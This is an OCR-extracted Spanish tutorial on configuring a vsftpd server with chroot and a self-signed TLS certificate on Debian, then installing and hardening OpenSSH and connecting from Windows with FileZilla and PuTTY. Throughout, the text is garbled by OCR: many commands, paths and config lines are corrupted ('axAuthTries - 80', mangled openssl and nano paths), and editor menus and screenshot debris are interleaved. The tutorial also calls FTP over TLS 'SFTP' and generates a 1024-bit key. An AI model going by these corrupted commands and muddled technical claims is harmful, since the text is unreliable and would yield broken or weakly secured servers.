# has an effect if the above global write enable is activated. Also, you will
# obviously need to create a directory writable by the FTP user,
#anon_upload_enable=YES

#

# Uncomment this if you want the anonymous FTP user to be able to create

# new directories.

#anon_mkdir write enable=YES

&

Ver ayuda Guardar e Leer Fich Pag Ant CortarTxt Pos actual
Salir Justificar @ Buscar Pag Sig PegarTxt Ortografia

Y descomentamos la siguiente linea también.

GNU nano 2.2.6 Fiche

ro: st /veftod
- = L-2 W * ¥ I LA o |

anonymous_enable=N0

=

# Uncomment this to allow local users to log in.

local_enable=YES

#

# Uncomment this to enable any form of FTP write command.

write_ enable=YES

#

# Default umask for local users is 677. You may wish to change this to 822,

# if imur users expect that (022 is used bi most other Ttpd's)

=

# Uncomment this to allow the anonymous FTP user to upload files. This only
# has an effect 1f the above global write enable is activated. Also, you will
# obviously need to create a directory writable by the FTP user.

#anon_upload enable=YES

#

# Uncomment this if you want the anonymous FTP user to be able to create

# new directories.

#anon_mkdir write_enable=YES

B

Ver ayuda Guardar iy Leer Fich Pag Ant CortarTxt Pos actual
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Podemos cambiar los mensajes de bienvenida.
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By default the server will pretend to allow ASCII mode but in fact ignore
the request. Turm on the below options to have the server actually do ASCII
mangling on files when in ASCII mode.

Beware that on some FTP servers, ASCII support allows a denial of service
attack (DoS) via the command "SIZE /big/file" in ASCII mode. vsftpd
predicted this attack and has always been safe, reporting the size of the
raw file.

ASCII mangling is a heorrible feature of the protocol.

#ascil upload_enable=YES

#ascil download enable=YES

#

# You may fully customise the login banner string:

ftpd banner=Bienvenido a este FTFR

#
=
#
#
#
£
ke
#

]

# You may specify a file of disallowed anonymous e-mall addresses. Apparently
# useful for combatting certain DoS attacks.

#deny email enable=YES

# (default follows)

#banned_email_file=/etc/vsftpd.banned_emails

=

# You may restrict local users to their home directories. See the FAQ for

e \or ayuda Guardar iy Leer Fich Pag Ant CortarTxt Pos actual

B Salir Justificar g Buscar Pag Sig PegarTxt Ortografia
Descomentar la lista para poder asignar usuarios que definiremos en una lista de

dCCeso.

il nan

# chroot_list_enable below.
#chroot_local_user=YES

You may specify an explicit list of local users to chroot() to their home
directory. If chroot local user is YES, then this list becomes a list of
users to NOT chroot().

(Warning! chroot'ing can be very dangerous. 1f using chroot, make sure that
the user does not have write access to the top level directory within the
chroot)

chroot local user=YES

#chroot_list_ enable=YES

# (default follows)

o = = ¥ LW

root L1SsSt TillLeas

=i 3k e % M W W

# You may activate the "-R" option to the builtin 1s. This is disabled by

# default to avoid remote users being able to cause excessive [1/0 on large

# sites. However, some broken FTP clients such as "ncftp" and "mirror" assume
# the presence of the "-R" option, so there is a strong case for enabling it.
#ls_recurse_enable=YES

3 a

# Customization

VYer ayuda Guardar s Lear Fich Pag Ant CortarTxt Pos actual
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Salvamos y creamos un directorio /home/ftp con mkdir en nuestro Linux donde
tendremos el SFTP instalado.
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Terminal (como superusuario)

Archivo Editar Ver Buscar Terminal Ayuda

root@servidord: /home®# s

admin clientes ejemplol gerel partimag secrel usuarioBGl usuario®S5
administrador contl ejemploZ Grupos pepe saec re? usuariof? windows7$
alumno cont2 facturas nfs rrhh secred usuarliof3

bbddl desktop$ S8 nominas samba smb usuarioB4
root@servidord: /home# mkdir ftplj

1

Creamos las carpetas y los usuarios invitado y moderador y el grupo ftp si no
existe. Para ello usamos la secuencia de comando que se muestran a continuacion.

Terminal (como superusuario)

Archive Editar Ver Buscar Terminal Ayuda
root@servidord: /home# mkdir /home/ftp/invitado
root@servidord: /home# mkdir /fhome/Ttp/moderador
root@servidord: /homeZ groupadd Tip
groupadd: el grupo «ftp» ya existe
" root@servidord:/home# useradd -g ftp -d /home/ftp/invitado/ -c¢ "invitado" invitado
root@servidord: /home# useradd -g ftp -d /home/ftp/moderador/ -c¢ "moderador" moderador
root@servidord: /home®

Les creamos contrasefias a los usuarios creados con el comando passwd.

Aplicaciones Lugares mar 10 de mar, 12:5

k Terminal (como superusuario)

Archivo Editar Ver Buscar Terminal Avyuda

root@servidord: /home# [EESIsBEiglaRe=]ele

Introduzca la nueva contrasefna de UNIX:

Vuelva a escribir la nueva contrasena de UNIX:
| passwd: contrasefia actualizada correctamente

root@servidord: /home# passwd moderador

Introduzca la nueva contrasena de UNIX:

Vuelva a escribir la nueva contrasefa de UNIX:

passwd: contrasefa actualizada correctamente

root@servidord:/home# |

Damos permisos a la carpeta ftp al usuario moderador y al grupo ftp. Para esto
vamos a ponerle a moderador como propietario de la carpeta con el comando

chown y al grupo ftp con el comando chgrp.

Archivo Editar Ver Buscar Terminal Avyuda

root@servidord:/home# chown moderador ftp/
root@servidord:/home# chgrp ftp ftp
root@servidord: /home#
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Damos los siguientes permisos a la carpeta invitado. Con el primer comando
marcado hacemos al grupo ftp duefio de la carpeta invitado y con el segundo
comando hacemos usuario propietario de la carpeta invitado al usuario moderador.

Terminal (como superusuario)

Archivo Editar Ver Buscar Terminal Ayuda
root@servidord: /home# chgrp ftp invitado

i chgrp: no se puede acceder a «invitado»: No existe el fichero o el directorio
root@servidord: /home# 1s

admin clientaes ejemplol gerel partimag secrel usuario@]l wusuarioB5
i administrador contl ejemplo2 Grupos pepe secred usuarioB2 windows7%
- alumno contd facturas nfs rrhh sacred usuariocB3

bbddl desktop$ ftp nominas samba smb usuarioB4

root@servidord: /home# cd /home/ftp/

root@servidord: /home/ftp# 1s

invitado modaerador

root@servidord: /home,/ 71~ e alela el s i N pltsh = Tsls
root@servidord: /home/ftp# chown moderador invitado
root@servidord: /home/ftp#

Creamos usa shell para el fip. Usamos el comando nano /etc/shells y afiadimos la
linea marcada.

GNU nano 2.2.6 Fichero: /etc/shells

B /etc/shells: valid login shells
/bin/sh

/bin/dash
/bin/bash
/bin/rbash
/bin/fTtp

Fbin/false

Editamos el archivo /etc/passwd con nano y a los usuarios creados para el SFTP
le cambiamos las bin para que accedan so6lo a la Shell que afiadimos en el paso

anterior. Con esto nos evitamos que accedan a otras partes del sistema que no sea
la carpeta contenedora del servicio FTP.

Terminal (como superusuario)

Archiva Editar Ver Buscar Terminal Ayuda

GNU nano 2.2.6 —1ic ‘etc/passwi Modificado

nfsl:x:1021:1830:,,. :/home/nfs/ :/bin/bash
Nnfsd:x:1023:1832::/home/nfs/nfs4:/bin/sh
nfs3:x:1024:10833: :/home/nfs/nfs3:/bin/sh
NnTs2:x:1025:10834: : /home/nfs:/bin/sh

proftpd:x:116:65534: :/var/run/proftpd:/bin/false
ftp:x:117:65534::/srv/ftp:/bin/falss
usuariofd:x:16026:1635: :/home/usuariodd: /bin/false
usuario@5:x:1027:1836: : /homa/usuariods: /bin/fTalse
invitado:x:1028:124:invitado:/home/ftp/invitado/:/bin/ftp

x:1029:124 :moderador:

‘homea/ ftp '

‘moderador/ :/bin,

* e
L b
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Vamos al otro archivo del sistema SFTP donde esta nuestra lista de usuarios para
este servicio. No existe asi que lo creamos. Para crear un archivo en Linux se
realiza exactamente igual que para editarlo, ya que si no existe nos lo crea.

Terminal (como superusuario)

Archivo Editar Ver Buscar Terminal Ayuda

root@servidord:/home# nano fetcfvsftpd‘chraot‘listl

Rellenamos el archivo con nuestros usuarios creados.

Aplicaciones Lugares mar 10 de mar, 13:04

Terminal (como superusuario)

Archivo Editar Ver Buscar Terminal Ayuda

GNU nano 2.2.6 Fichero: /etc/vsftpd.chroot.list

#Mis usuarios FTP
invitado
moderador

Salvamos, salimos y reiniciamos el SFTP.
Terminal (como superusuario)

Archivo Editar Ver Buscar Terminal Ayuda

root@servidord:/home# /etc/init.d/vsftpd restart
Stopping FTP server: vsftpd.

Starting FTP server: vsftpd.
root@servidord:/home#

Vamos a un Windows y con el navegador accedemos al ftp y ponemos usuario y
contrasena. Para acceder a un ftp basta con poner

en un navegador
ftp:/IP_Servidor_FTP.
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& Loogle - Windows Internet kxplorer

@ )= B fp//192168.201/

4.;:-' Para iniciar sesion en este servidor FTP, escriba un nombre de usuario y una
contrasefia.

Servidor FTP: 192.168.20.1

Nombre de invitado
USUArio:
Contrasena: Tl

Una vez que inide la sesion, podra agregar este servidor a los Favoritos y regresar

a él con fadiidad. ;
DI . . il & ﬁ .
Inici i c i ] P
Estara vacio aun el espacio ftp.
@ Owectono ray de FTP en 192166.20.1 - Windaows ntemet Explorer "= | en e
@CJ' | @ 5 192168201 w4l x N 8ing 2 =
>, Favaiites il B et nugendes * B Lalens de Weh Shes w
# Directonc raiz de FTP en 192.168.20.1 B oe ) v 0 em v Papnaw Segurdad e Hemsmientas v

Directorio raiz de FTP en 192.168.20.1

Para ver este servador FTP en el Explorador de Windows, haga clic en Pagina y después en Abrir el sitic FTP en ¢l Explorador de Windows

Con Filezilla o cualquier otro gestor de FTP entramos con el usuario moderador.
Mirad la configuracion de acceso. Si 0os causa problemas, usar el navegador, pero
seria bueno que os acostumbréis a usar gestores FTP, son mucho mas coémodos,
asi que bajaros el FileZilla que es gratuito y bastante bueno. En este caso he dadoo
a Nuevo sitio, le he llamado SFTPD, le he puesto la IP de mi servidor SFTPD, en mi
caso un servidor Debian, despliego y pongo que use FTP sobre TLS vy
autentificacion normal.
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(= T T = TR e g m——— T e — o s

Seleccione el sitio: : : _
General | Avanzado | Opciones de Transferencia | Juego de caracteres
) Mis sitics
~ 4 FTP Servidor: 192.168.201 Puerto:
4 SFTPD Protocole: FTP - Protocolo de Transferencia de Archives v
Cifrado: rl.lsn': explicit FTP over TLS if available A
Medo de acceso: | Normal -
Usuaric: moderador
Centrasena: csssse
Cuenta:
Comentarics:
Nuevositio | | Nueva carpeta ' i
Nuevo marcador Renombrar
Borrar Duplicado
Conectar Aceptar I ’ Cancelar

Pasamos un archivo y vemos que funciona, basta simplemente con arrastrarlo. En
los gestores FTP lo normal es que a la izquierda muestre nuestro equipo y a la

derecha el servidor FTP al que hemos conectado.
[ SFTPD - modeiador@192.168.20.1 - FieZila

Archive Edicsén  Ver  Transferencia Sm&dwlhr:ldnulmdl
i‘l_zl I!l_lﬂ-“h&. d TN
Serador

Estadea:
Extado:
Estado:
Estade:
Estado:
Estado:

MNombre de usuano Contrateda:

- 1
8
Comenzands la subida de C\Uers' Admin’ Desktop’indeshtrml -
Tranderencia comecta, tramnsfendos 133 bytes en | segundc
Retrievmng dwsctony (Mtmg of */femefip/ modersdos”™. .
Calculande compensacion de la rona hooaria del seraded...
Compemaciones de zona horana: Seraidor: 0 segisndot. Local; 3600 wegundos, Diferencia: 3600 segundaos,
Disectery lnting of "/home/ftp/modersdor” successful -

B o e b e i

i Fﬂ" ana X SFTPD - mmmrﬁﬁuﬂﬂl | - =
Sdalud|{ Uyuii.ﬂdm\Duhup «» | Sitie remote: | heme/ftp/medeiador -

E'Em: ' - = &
4 Cookies 5§ home

4 Datos de programa = 3 hp
8 Desktop . p
Hnrrﬁnld‘: archeo Ut modifica<ean I'hrnlr— -
g  desitop.m 2701 2015 (D66 3 -
&) index.nemi 133 Documento M. 10/03/2015 355415 =1 | @) index_
Emﬂ}!gﬁ exe 18696123 Aphcacion 18022015 12:21:56 -

1 archave seleccionado, Tamaho tolak 133 bytes

L]

Tormafiod.. Tipo dearchive Tomate d.. Tipodears.. Uma modific.. Permisos Propectanc...

22 Opciones dec.

133 Deocumsnt. 10/03°0045 1d-.. iarai1M

B

1 srcheve, Tamafo totak 133 bytes

Sa'ndn-r.i'ﬂr:hrm lu-c-ll Direcci. Alv:hwmnntn Tamadfo #nm-dn\ Eihdn

| Archivosencola | Transfesencis fallidas (§)  Transferencias satisfactosias (2]
Con invitado tenemos que ver que €l o su grupo ftp tenga permisos de escritura.

Con el comando Is -l nos mostrara los permisos y con chmod los cambiamos. Si
desconoces el sistema de permisos de Linux, no te preocupes, escribe lo que pone
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en esta pantalla, pero te recomiendo que te mires la guia de asignacion de permisos
en Linux, es fundamental.

Archivo Editar Ver Buscar Terminal Ayuda

" root@servidord:/home/ftp# 1s -1
total 8
drwxr-xr-x 2 moderador ftp 4096 mar 10 12:55 invitado
drwxr-xr-x 2 moderador root 4096 mar 10 13:23 moderador
root@servidord:/home/ftp# chmod 775 invitado/

~ root@servidord:/home/ftp# 1ls -1

, total 8

s drwxrwxr-x 2 moderador ftp 4096 mar 10 12:55 invitado

. drwxr-xr-x 2 moderador root 4096 mar 10 13:23 moderador
root@servidord:/home/ftp#

Los usuarios tienen acceso a todo el Home, asi que para que soélo accedan a su
carpeta, vamos al archivo de configuracion de SFTP y descomentamos el chroot.
Con los permisos no pueden escribir, pero no queremos que visualicen todas las
carpetas para ellu ponemos el chroot como se marca en la sigiente pantalla.

# You may fully customise the login banner string:
ftpd banner=Bienvenido a este FTP.
#

# You may speclfy a file of disallowed anonymous e-mail addresses. Apparantly
# useful for combatting certain DoS attacks.

#deny email_ enable=YES

# (default follows)

#oanned_email_file=/etc/vsftpd.banned_emails

S

# You may restrict local users to their home directories. See the FAQ for

# the possible risks in this before using chroot _local user or

# chroot_list_enable below.

#chroot 1ocal uﬁﬂrnYE“

B

# You may specify an explicit list of local users to chroot() to their home

# directory. If chroot local user is YES, then this list becomes a list of

# users to NOT chroot().

# (Warning! chroot'ing can be very dangerous. If using chroot, make sure that

# the user does not have write access to the top level directory within the

# chroot)
Ver ayuda Guardar Leer Fich Pag Ant H CortarTxt I Pos actual
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De;amas los permisos por defecto de la carpeta ftp.

root@servidord:/home# chown root ftp/
root@servidord:/home# chgrp root ftp/
root@servidord:/home# chmod 775 ftp/

root@servidord:/home#
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Volvemos a poner los permisos por defecto de los usuarios y reiniciamos el SFTP.
Archivo Editar Ver Buscar Terminal Ayuda

. root@servidord:/home/ftp# chgrp root invitado
" root@servidord:/home/ftp# chown root invitado
root@servidord:/home/ftp# chmod 775 invitado

root@servidord: /home/ftp# ls

invitado moderador

root@servidord:/home/ftp# chgrp root moderador
rogﬁ@seruidnrd:fhomefftp# chown root moderador
root@servidord: /home/ftp# chmod 775 moderador
root@servidord:/home/ftp# /etc/init.d/vsftpd restart
Stopping FIP server: vsftpd.

Starting FTP server: vsftpd.
root@servidord:/home/ftp# |

Si algo no funciona, es posible que tengamos que actualizarlo. Para ello usamos
los comandos:
1- sudo apt-get install python-software-properties
2- sudo add-apt-repository ppa:thefrontiergroup/vsftpd
3- sudo apt-get update
4- sudo apt-get install vsftpd

Si no es vuestro caso no lo toqueis.

Ya estaria funcionando el FTP, ahora instalamos el SSH. Yo ya lo tenia instalado
de cuando hice la guia de SSH, asi que no me instala nada, pero poned apt-get
install openssh-server y os asegurais si lo tenéis o no instalado.

Terminal (como superusuario) bz

Archivo Editar Ver Buscar Terminal Avyuda

root@servidord:/home/alumno# Bk

Leyendo lista de paguates... Hecho

Creando arbol de dependencias

Leyando la informacidon de estado... Hecho

openssh-server ya esti en su version mas reciente.

fijado openssh-server como instalado manualmente.

0 actualizados, 0 se instalaran, © para eliminar y 126 no actualizados.
raot@servidord: /home/alumno#

Vale, pues ya esta. Ahora nos faltaria el certificado. SFTP usa el protocolo SSH,
por lo que tenemos que usar un certificado digital. No es nada complicado, asi que
adelante.

Creamos un certificado de comunicaciones en el servidor, vamos a hacerlo
autofirmado, es decir, que es valido pero no reconocido fuera de tu red. Si quieres
puedes pagar por uno validado, pero yo paso de gastarme una pasta en un
certificado validado internacionalmente para hacer este manual, asi que
conformaros con uno autofirmado.

Primero creamos la carpeta /etc/vsftpd con mkdir. Despues emitimos nuestro
certificado, para ello tenéis que poner todo esto, os lo pongoo aqui para que podais
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copiar y pegar: openssl req —x509 —nodes —days 365 —newkey rsa:1024 —-keyout
letc/vsftpd/vsftpd.pem —out /etc/vsftpd/vsftpd.pem

Si no os sale lo que se muestra en pantalla es que algo habeis escrito mal. No
hace falta que os aprendais el comando de memoria, ya os explicaré en otra guia
que 5:gn|ﬁca cada cosa, peru no es el objetivo de este manual.

root@servidaor _1 gl a5 -days 365 newkay rsa: @74

pdf -ftu* pem
enerating a 1624 bit RLH'-'- private key
................. el e e e
*************** ++++4+4+
writing new private key to '/etc/vsftpd/vsftpd.pem’

You are about to be asked to enter information that will be incorporated
into your certificate request.

what you are about to enter is what is called a Distinguished MName or a DN.
There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter *.', the field will be left blank.

Country Nama (2 letter code) [AU]):

Si todo ha salido bien, nos pedira una serie de datos, poned los que sean, es sdlo
un certificado para hacer una prueba.

root@servidord:/# mkdir fetc/vsftpd

root@servidord: /# openssl req -x509 -nodes -days 365 -newkey rsa:lo2d -keyout /fetc/vsft
pd/vsftpd.pem -out /etc/vsftpd/vsftpd.pem

Generating a 1024 bit RSA private key

writing new private key to '/etc/vsftpd/vsftpd.pem’

You are about to be asked to enter information that will be incorporated
into your certificate request.

What you are about to éenter is what 1s called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

code) [AU] :ES
full name) =
ty Name (eg, city) [] :Madrid

ization Name (egq, company) [In
rational Unit

Name (e.q.

root@servidord: /#

Volvemos a editar de nuevo el archivo vsftpd.conf y al final escribimos lo siguiente
para que nuestro FTP pase por el certificado.
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GNU nano 2.2.6 Fichero: /etc/vsft

#

# This string is the name of the PAM service vsftpd will use.

pam_service name=vsftpd

#

# This optlion specifies the location of the RSA certificate to use for SSL
# encrypted connections.

s1_enable=YES
allow anon ssi=N0O

—

‘orce_local_data_ssl=YES
‘orce_local logins ssl=YES
Lsv1=YES

v3=NO

art _file=/etc/vsftpd/vsftpd.pem
' y file=/etc/vsftpd/vsftpd.pem

Salvamos, reiniciamos y ahora cuando accedamos por Filezilla, nos saldra la
solicitud de certificado. En Filezilla hay que marcar que usa TLS explicito en la
conexion o no funcionara como ya comenté antes.

SFTPD « Mpew/] raseeris i T SRR R
-—‘—rw daancl El certficado del senndor & desconocedo. Por favor, exsmane
i l_a__ ot | tusdadozamente &l centificado pars sregurarie de que fe pusds confiss &n
e el serndar
M_ — - Detalles
faas Lon Desde valide: 11/03/2015
s o Hasts vilido 10/03/2016
e Vierid Numeng de sene: 00:b0 1Sl B bEob 3 ool
Algontime de clave publica RSA con 1024 bits
Signature sigorthm: FSA-SHAL
LT thgelprsrﬂ (SHA-T56 bl b 500 b el ol a e - M 232
o locat | Cillsg #hb9:08: 20 ThAB 62 befS 31l caT a0 d3
Huella dagital (SH8-11 e Tobte W10 1 % eacO 112 0 1 80 D g ol - 2000 001 50005 08
Asunto del certilicado Agente de certificado
Nombse comadne  PBySdEs Mombre comune PEy @S
—— Organzacitn SlON Crganzacibn 20N
smnibre de archineg Urdad: e Unadad FTP s Progietanc
‘ Pais ES Pais ES
b mausice Estado o provinciac Madnd Estado o provinca: Madnd
bl imagenes Localidad Madrich Locatidad Madnd
| Wby videos Coarren-& sptendeshsckesrpuntocomB gmal cam Comen-& spiendeahackesrpuntoc omp gmal com
. [
r:l:..a::ri.:l.-rrﬂ: Detailes de la 2esitn
Sitio 192163 201:1
rvidon Arg hireo b Figdnenk TLS12
Key exchange: RSA
Cifrada: AES-256-GCM
MALC: AEAD
: . [Confiar en este certlfacado y seguir conectando?
schivos en cola | Siernpre confisr en ef certificado en futuras sesiones "’“:'!—P“'i Cancelar
% - .

Si nos fijamos, salen todos los datos que pusimos en la creacion del certificado.
Cuando usamos un certificado autofirmado, nos sirve para nosotros y nuestra
empresa, sabemos que no es un falso FTP y que ademas esta por un canal seguro.
Este certificado puede estar hackeado igualmente, pero si disponemos de uno
generado por una entidad certificadora, nos aseguraremos que el destinatario es
quien dice ser, ya que para obtenerlo ha tenido que presentar datos reales de su
identidad, pero de eso ya hablaremos en otra guia.
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SSH



SSH es un sistema de trasferencia segura de archivos. Se usa para el acceso
remoto a otras maquinas. Por defecto usa el puerto 22, que por seguridad deberia
ser cambiado para que cuando se realice un escaneo de puertos el hacker no pueda
ver que SSH esta funcionando.

Para este ejemplo voy a usar dos maquinas virtuales, una Debian de Linux y un
Windows 7 por ejemplo. Vamos primero a la maquina Debian para que actue como

servidor del servicio SSH.
Tenemos que instalar, tanto el ssh para servidores, como para cliente, para ello
usaremos ell comando sudo apt-get install openssh-client openssh-server.

e alumno@cClienteD: ~

Archivo Editar Ver Buscar Terminal Ayuda

CRNTUL TR LA EER s udo apt-get install openssh-client openssh-serverjy
Leyendo lista de paquetes... Hecho
reando arbol de dependencias
Levendo la informacion de estado... Hecho
opln55h-client yva esta en su version mas reciente.
Los paquetes indicados a continuacidon se instalaron de forma automati
Ca y ya no son necesarios.
giblibl 1libgif4 1libibus-1.6-5 libid3tag® libimlib2
Use 'apt-get autoremove' to remove them.
Se instalaran los siguientes paquetes extras:
ncurses-term openssh-sftp-server ssh-import-1id
Paquetes sugeridos:
ssh-askpass rssh molly-guard monkeysphere
Se instalaran los siguientes paquetes NUEVOS:
ncurses-term openssh-server openssh-sftp-server ssh-import-1id
® actualizados, 4 se instalaran, © para eliminar y 257 no actualizado
Necesito descargar 611 kB de archivos.
Se utilizaran 3.425 kB de espacio de disco adicional después de esta
operacion.
;Desea continuar? [S/n] s




En el cliente, en este ejemplo un Windows 7 nos bajamos el programa putty de
www.putty.org o cualquier otro que nos sirva para comunicarnos con otras

maquinas.
Gt:_} - |e W eveee o Tk grmnd.:ng.ui ygtathaerm putty’ Seamioed brmil - | _.‘_. -y | = ' g b =
o Favontos i B Hood sugen oy - B Caleriy de Wieh Shie =
P PUTTY Download Page % o* E] * " sm =~ Piginav Seguridsd~> Hermomientss v
[ PSFIFE EAHp exe = Toy bv FLPT TS Sial TOSK aal ) =
Pl plink =xe 0% de puthy 050 wirtaller.eue de the.carth b completsdes | & | @ | L3 |
Pageant pageant exs Advertencia de segundad de Descarge de sichaos. ==
PalTYgen: pultyRen £xe
A ZIP file containing all the binaries (¢} | (Dessa ajoctar o guardar esto archive?
Zip Bk ULt S Mombre puttyd S4-instaties exe
A Windows installer for everything excy ._ J Teo: Aplicacitn, 1.84 ME
Installer- putty-0 64 -mstaller excl Do thecarthd E
Checksums for all the above files i
MDS- s | Eecuar | | Guade | |_Cances | A
SHA-1 sha | smns
SHA-236 sha. fosuns: Aurdue lot srThives procedentss de intemel pueden ser Jiies, este
SHA-%12 sha®12sums ~ 100 de archrvd pusde Bagar a dafar of equpe 5ino conlisen el |
R T engen, no eyecule o guisede este softvare. (Ll sa of tesg T
The larest development snapshot. Thas will be ball every day, sutomabcally, from the cument development code - m whatever state #'s currently m. If
you need a fix for a particulaly crippling bug. vou mayy well be able to find a fived PuTTY here well before the fix madces 8 mto the release version above
O the other hand, these snapshots might sometunes be unstable
(The filcname of the development suapshot mstaller contains the snapshot date, so it will change every might )
For Windows on Intel x86 -~

Damos a Ejecutar e instalamos dando a siguiente por defecto a todo y lo abrimos.
La interface grafica es muy sencilla, s6lo debemos poner la IP del host o equipo de
destino y el puerto, que ya por defecto el Putty lo pone en el 22.
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Category:
=)~ Session Basic options for your PuTTY session
1 TE"" LO%M Specify the destination you want to connect to
—- Temin
. Keyboard Host Name (or IP address) Port
----- Features Connection type:
=)- Window ()Raw () Telnet () Rlogin @ SSH () Senal
| |- Behiawi Load. save or delete a stored session
- Translation Saved Sessions
~ '..Colours Settings
i Default Load
= Connection
- Data Save
- Telnet Delete
+- SSH
e Close window on exit: .
(JAways () Never (@ Onlyon clean exi
About Help |  Open | Cancel

Ponemos la IP del host remoto, en este caso la 192.168.20.2, que es la que le
tengo configurada a mi Debian y damos al boton Open.

107



% PuTTY Configuration <=
Category:
- Session - Basic options for your PuTTY session
- Log?ing Specify the destination you want to connect to
-~ Temina
: { 3
T — Host Hame (or |P address) Port
Bell 22
Features Connection type:
= Window Raw Telnet Rlogin @ SSH Sernial
earance
Aop Load, save or delete a stored session
Behaviour
Translation = Saved Sessions
Selection
Colours Default Settings Load
-1 Connection
Data Save
Proxy :
Telnet | Delete
Rlogin
SSH
Kex Close window on exit:
Cipher Always Never @ Only on clean exit
+- Auth
About | | Help I Open | ‘ Cancel

Decimos que si a la pantalla que nos salga y metemos las credenciales de un
usuario del Debian.
@alumno@(ﬁlieﬂe& ~ =l ==

Ya estariamos logados desde el Windows 7 al Ubuntu donde instalé el SSH
mediante un protocolo de trasferencia de datos seguro, asi de sencillo. Ahora
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nos movemos dentro de la Debian usando los comandos Linux, por ejemplo el pwd

para ver en que directorio nos encontramos.
r

alumno@ClienteD: ~

Para configurar el SSH en el Debian, editamos el archivo /etc/ssh/sshd_config.
Para editar archivos en Linux usamos el editor nano que viene por defecto, la forma
de usarlo es simplemente nano /etc/ssh/sshd_config. Existe el editor gedit que es
mejor, pero no suele venir instalado por defecto, si queremos usarlo deberiamos
descargarlo con sudo apt-get install gedit.

GNU nano 2.2.6 Archivo: fetc/ssh/sshd config

Pl Package generated configuration file
# See the sshd_config(5) manpage for details

# What ports, IPs and protocols we listen for
Port 22

# Use these options to restrict which interfaces/protocols sshd will$s
#ListenAddress

#ListenAddress ©.0.0.0

Protocol 2

'# HostKeys for protocol version 2

HostKey /Jetc/ssh/ssh_host rsa_key

HostKey Jetc/ssh/ssh_host dsa key

HostKey Jetc/ssh/ssh_host_ecdsa key

HostKey /etc/ssh/ssh_host_ed25519_key

#Privilege Separation is turned on for security
UsePrivilegeSeparation yes

| 88 lineas leidas

E Ver ayudE Guardar Leer Fic RePagq. Cortar T Pos actual

| Salir Justific Buscar @Y Pag. Siggll PegarTxtggl Ortografia
Por ejemplo, podemos cambiar el puerto 22 al 122 para aumentar aun mas la

seguridad. Para esto donde pone Port 22, lo sustituimos por Port 122 o el que
deseemos usar.
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¢ alumno@cClienteD: ~

Archivo Editar Ver Buscar Terminal Ayuda
GNU nano 2.2.6 Archivo: Jetc/ssh/sshd config Modificado

# Package generated configuration file
# See the sshd_config(5) manpage for details

it what ports, IPs and protocols we listen for

¥ Use these options to restrict which interfaces/protocols sshd will$
#ListenAddress
#lListenAddress 0.0.0.0
Protocol 2
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh host rsa key
HostKey /etc/ssh/ssh _host dsa key
HostKey /etc/ssh/ssh _host ecdsa key
HostKey /etc/ssh/ssh host ed25519 key
#Privilege Separation is turned on for security
UsePrivilegeSeparation yes
88 lineas leidas

E Ver ayud Guardar Leer Fic RePag. E Cortar T Pos actual
Salir g Justificllll Buscar Pag. Siggll PegarTxtig] Ortografia
Vamos a poner so6lo 15 segundos para logarse, y no 120 como marcaba por
defecto. Si bajamos tanto el tiempo, debemos ser rapidos para autentificarnos, si no

somos tan rapidos con el teclado mejor aumentar ese tiempo a 50 o lo que
necesitemos.

¢ alumno@cClienteD: ~

Archivo Editar Ver Buscar Terminal Ayuda
GNU nano 2.2.6 Archivo: Jfetc/ssh/sshd config Modificado

KeyRegenerationInterval 3600
ServerKeyBits 1024

# Logging
SyslogFacility AUTH
LogLevel INFO

# Authentication:

LoginGraceTime 15

vermitRootLogin without-password
StrictModes ves

RSAAuthentication yes
PubkeyAuthentication yes
#AuthorizedkKeysFile %h/.sshf/authorized _keys

&Y Ver ayud Guardar Leer Ficgad RePag. Cortar Tge Pos actual
g Salir Justific Buscar @Y Pag. Siggll PegarTxt Ortografia
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Quitamos el acceso a Root para evitar ataques de fuerza bruta. El usuario root esta
siempre por defecto y es con el que los hackers solemos entrar sin ningun
problema. Para ello en PermitRootLogin le ponemos no.

e alumno@ClienteD: ~

Archivo Editar Ver Buscar Terminal Ayuda
GNU nano 2.2.6 Archivo: Jetc/ssh/sshd config Modificado

KeyRegenerationInterval 3600
ServerKeyBits 1024

SyslogFacility AUTH
LogLevel INFO

# Authentication:

LoginGraceTime 15
PermitRootLogin no

strictModes ves

RSAAuthentication ves
PubkeyAuthentication yes
#AuthorizedKeysFile %h/.ssh/authorized keys

e Ver ayudgle Guardar @i Leer Fic@ghl RePag. Cortar T@g8 Pos actual
g Salir Justificygl Buscar @Y Pag. Sig PegarTxtigl Ortografia

Para evitar ataques de fuerza bruta, le ponemos un maximo de 3 intentos de
logarse, asi evitamos que intenten lanzar diccionarios de claves sobre nosotros. En
MaxAuthTries le ponemos 3.
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e alumno@ClienteD: ~

Archivo Editar Ver Buscar Terminal Ayuda
GNU nano 2.2.6 Archivo: Jetc/ssh/sshd config Modificado

X11Forwarding vyes
(X11DisplayOffset 10
PrintMotd no
IPrintLastLog ves
ITCPKeepAlive yes
#UselLogin no

#MaxStartups 10:30:60
#Banner /etc/issue.net

axAuthTries - 80

# Allow client to pass locale environment variables
IAcceptEnv LANG LC *

Subsystem sftp Jusr/lib/openssh/sftp-server

Ver ayudgs Guardar Leer Fic RePag. Cortar Tgd Pos actual
Salir Justific Buscar Pag. S1ig PegarTxtigl Ortografia

Reiniciamos el SSH para que toda esta configuracion surja su efecto inmediato.

e alumno@ClienteD: ~

Archivo Editar Ver Buscar Terminal Ayuda

AT G REOAC- IR /etc /init.d/ssh restart ;

alumno@ClienteD:-S

Pasado 15 segundos cuando le demos a conectar, nos saldra esta pantalla como
solicitamos en la configuracion.

' PuTTY Fatal Error =

g Server unexpectedly closed network connection

E_. Aceptar 3

Ahora creamos un usuario llamado security en la Debian con el comando adduser
security. Afladimos esto al archivo de configuracion del SSH y le ponemos como
usuario permitido. Para ello ponemos AllowUsers security.
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e alumno@cClienteD: ~

Archivo Editar Ver Buscar Terminal Ayuda
GNU nano 2.2.6 Archivo: Jetc/ssh/sshd config

KeyRegenerationInterval 36060
ServerkKeyBits 1024

# Logging
SyslogFacility AUTH

LogLevel INFO
AllowUsers securit

# Authentication:
LoginGraceTime 15
PermitRootLogin no
StrictModes yes

RSAAuthentication yes

PubkeyAuthentication ves

#AuthorizedkKeysFile %h/.ssh/authorized keys
[ 90 lineas escritas ]

¢ Ver ayudge Guardar ’-H-"*’* Cortar T@gd Pos actual
i ol Justificigl Buscar @W Paag. Sig@ll PegarTxtaml Ortoqrafia
Reiniciamos el SSH y vemos que no accedemos nada mas que con el usuario

security, con el resto de usuarios del Debian nos es imposible acceder por SSH.
